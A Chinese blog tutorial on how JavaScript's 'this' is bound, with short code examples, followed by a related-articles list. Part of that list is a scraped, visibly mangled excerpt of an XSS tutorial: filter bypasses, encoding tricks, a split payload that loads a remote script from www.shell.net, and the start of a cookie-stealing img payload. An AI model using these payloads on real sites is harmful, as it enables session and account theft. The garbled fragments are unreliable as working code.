简析js中的this的指向(js中this.)

boyanx1周前技术教程4

回想当初在切图网做前端项目,用到js,经常用到this;那我们就谈谈js中this,如果说你没弄清this指向的问题,那基本可以说js没入门。

this指向的问题的文章,上网搜资料能搜一大把,基本上都是说this总是指向某个对象的,指向函数的调用者的。
如果某个函数没有调用者时,this是指向window的。

先来看看是怎么总结出来,“this总是指向函数的调用者的”

console.log(this)//window
var fun = function(){
console.log(this);
};
fun();//打印window
// 等价于如下的调用方式
this.fun();
window.fun();
// 匿名函数 可以理解成window创建某个变量保存这个匿名函数,然后删除了这个变量
(function(){
console.log(this);
})();// 打印window


这里window调用函数,函数里的this指向window。
对象也是一样
数组、函数、自定义对象、以及dom对象都是对象,this是指向这个对象的。其他对象的例子不一一
举了,这里再举一下dom对象的例子

<section>
<button id="btn" name="myBtn" style="width:100px;height:30px;">点击我</button>
</section>
<script>
var btn = document.getElementById('btn');
// 点击按钮时弹出myBtn
btn.onclick = function(){
alert(this.name);
}
</script>

我们点击按钮,触发点击事件,这个onclick函数是btn调用,this指向btn没问题。

再看一下构造函数中的this

var Person = function(name,age){
this.name = name;
this.age = age;
this.sayName = function(){
alert(this.name);
}
};
Person.prototype.sayAge = function(){
alert(this.age);
};
var p = new Person("切图网",18);
p.sayName();//弹出 切图网
p.sayAge();//弹出 18

new一个函数时,函数也会执行的。可以看做p调用了Person这个构造函数,里面的this.name、this.age 、this.sayName中的this都是指向p的;

p.sayName()、p.sayAge()是p调用函数,这两个里面的this当然指向对象p了。

从上面的代码中,基本可以总结了,this总是函数调用者的。那么再看看如果函数没用调用者呢?

var o = {
fn : function(){
console.log(this); // 标记1
var a = function(){
console.log(this);// 标记2
};
a();
}
};

o.fn();//标记1 打印对象o,标记2 打印window

你说上述代码中执行语句a(),a调用者是谁?是对象o吗,是window吗,都不是,如不信,你改成o.a()或者window.a(),浏览器肯定会报错的。

a是没有调用者,你只能说在fn的作用域中,a被调用了。而此时函数没有调用者时,里面的this指向window的。

this的指向的问题我是说明白了,再总结一下:如果函数有调用者时,this指向调用者,如果没有调用者,this指向window的。上述代码中,都没有涉及闭包问题。

这里举个例子

var b = function(){
console.log(this); // 标记1
return function(){
console.log(this);// 标记2
}
}
var c = b();//标记1 打印window
c();// 标记2 打印window c是被window调用的,打印window没问题
var a = {
fn : c
}
a.fn();// 标记2 打印对象a,没问题
//如下方式呢
var e = {
fn : function(){
c();
}
}
e.fn();// 标记2 打印window 因为c()是没有调用者的

可以看出,不管是不是闭包,还是那句话,能找到调用者就指向调用者,找不到就指向window。

《js高级程序设计》里面是这么说的,匿名函数的执行环境具有全局性的。我是这么看的,找不到调用者时,执行函数就具有全局性。跟你这个函数是不是有名匿名没有任何关系。

第二部分

如何保证this,是我们想要的this呢

有几个方法,这里大致说下

1.不把某个函数名,直接赋值某个变量,而是外面加一层函数,然后再调用,换句话说,给你机会来让这个函数执行时指定调用者或者不设置调用者,直接上代码

<section>
<button id="btn" name="myBtn" style="width:100px;height:30px;">点击我</button>
</section>
<script>
var name="切图网";
var btn = document.getElementById('btn');
var f = function(){
alert(this.name);
};
btn.onclick = f;
</script>
上述代码,点击按钮时弹出的是btn对象的name:mybtn。如果想要弹出window中的name,可以改成如下代码

<section>
<button id="btn" name="myBtn" style="width:100px;height:30px;">点击我</button>
</section>
<script>
var name="切图网";
var btn = document.getElementById('btn');
var f = function(){
alert(this.name);
};
btn.onclick = function(){
f();
};
</script>

2.设置变量缓存this,如

var name = "yyy";
var Person = function(name){
this.name = name;
(function(){alert(this.name)})();
}
new Person("xxx");
上代码运行会弹出window的name:yyy,如果想弹出对象的name:xxx,可以改成
var name = "yyy";
var Person = function(name){
this.name = name;
var self = this;
(function(){alert(self.name)})();
}
new Person("xxx");

3.应用call、apply方法来指定this

var name = "yyy";
var o = {name: "xxx"};
var fun = function(x,y){
alert(this.name)
return x+y;
}
fun(3,4);

// 等于于如下的调用

fun.call(window,3,4);
fun.call(this,3,4);
fun.apply(window,[3,4]);
fun.apply(this,[3,4]);

上述代码运行弹出window的name:yyy,如果要弹出o的name,可以改成

var name = "yyy";
var o = {name: "xxx"};
var fun = function(x,y){
alert(this.name)
return x+y;
}
fun.call(o,3,4);
fun.apply(o,[3,4]);

4.应用框架函数,一般的框架都有给函数绑定上下文的函数(基本也都是应用apply和call),比如jquery的$.proxy().这里写个函数

function proxy(fn,context){
return function(){
fn.apply(context,arguments);
}
}

var o = {name: "xxx"};
var fun = function(x,y){
alert(this.name)
return x+y;
}
var fun2 = proxy(fun,o);
fun2(3,4);

文/丁向明

做一个有博客的web前端自媒体人,专注web前端开发,关注用户体验,加我qq/微信交流:6135833

http://dingxiangming.com

相关文章

网站建设:从新手到高手(网站建设技巧)

现代化网站应用领域非常广泛,从个人形象网站展示、企业商业网站运作、到政府公益等服务网站,各行各业都需要网站建设。大体上可以归结四类:宣传型网站设计、产品型网站制作、电子商务型网站建设、定制型功能网站开...

4.1.4 不闭合标签

4.1.5 使用回车、Tab等符号截断javascript

而浏览器中解析器中词法分析器会跳过空白跟换行之类的无效字符

使用回车截断javascript

使用tab截断javascript

4.1.6 利用过滤器规则

Ript>alert(1)t>

4.2

HTML编码

HTML标签中的某些属性值可以使用&#ASCII方式进行编码:

如把尖括号编码[ < ] -----> html十进制: < html十六进制:<

aaaa

4.3

Javascript编码

js提供了 3 种字符编码的策略:

· jsunicode编码,例如“e”编码为“\u0065”

· js十六进制,例如“e”编码为“\x65”

· js八进制,例如“e”编码为“\145”

4.4

跨站拆分法

安全研究员“剑心”发现某个网站存在XSS漏洞,漏洞出现在评论的联系方式处,但是,这处只能写入30个字符长度,必须的就占用了17个字符,剩下的只有13个字符可以支配,如此一来,这个XSS只能用来弹出一个警告框。

幸运的是,网站评论处可以重复留言,也就是说可以提交多个脚本标记,于是‘剑心’就巧妙的构造出以下XSS利用代码。

上述代码的作用是引入一个字符串变量Z,并且将下面的代码拆分开来。

document.write(' src=//www.shell.net/1.js>')

然后分几次将其嵌入到变量Z中,最后通过 eval(z) 巧妙地执行代码。

05

XSS漏洞利用

点击添加图片描述(最多60个字)

5.1

窃取Cookie

点击添加图片描述(最多60个字)

5.1.1 读取Cookie

直接在浏览器地址栏执行javascript:alert(document.cookie),就可以看到当前的cookie。

点击添加图片描述(最多60个字)

5.1.2 发送Cookie

5.1.2.1 利用img标签(最常用)

只需将alert(1)替换为以下Payload:

var img=document.createElement("img" alt="跨站脚本攻击(四)(跨站脚本攻击有哪些)">

跨站脚本攻击(四)(跨站脚本攻击有哪些)

04XSS漏洞挖掘技巧4.1常见的绕过姿势实际应用中web程序往往会通过一些过滤规则来阻止带有恶意代码的用户输入被显示,但由于HTML语言的松散性和各种标签的不同优先级,使得我们绕过过滤规则成为了可能...

JavaScript 事件冒泡--如何阻止点击事件

<div class="subcategories">这里有点击事件</div> <div class="subcategories"&g...

计算追随者们对所有任务完成程度的计算器

[followerBest]以不变应万变,计算追随者们对所有任务的完成程度的计算器,很久很久以前...说远了随着要塞的不断推进,当我手中的追随者超过25个时,遇到了人生的一次抉择,嗯,把谁遣散掉。在那...

极客Web前端开发资源大荟萃#019(极客代码)

以下为本周的推荐的优质代码,非常漂亮实用。快来学习一下吧,以后工作遇到这样的需求 再也不用担心不会啦~酷炫的拖拽关闭弹出框的效果通过dynamics模拟物理动画库和draggabilly拖拽库实现的超...

WordPress独立站建站初期:插件不是越多越好

有次接手一个刚搭好的 WordPress 外贸站,客户说“感觉越来越慢”,后台操作有时候要等 7、8 秒才响应。他还问:“是不是我主机买便宜了?”我一看后台,插件居然装了28个……♂包括但不限于:3个...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。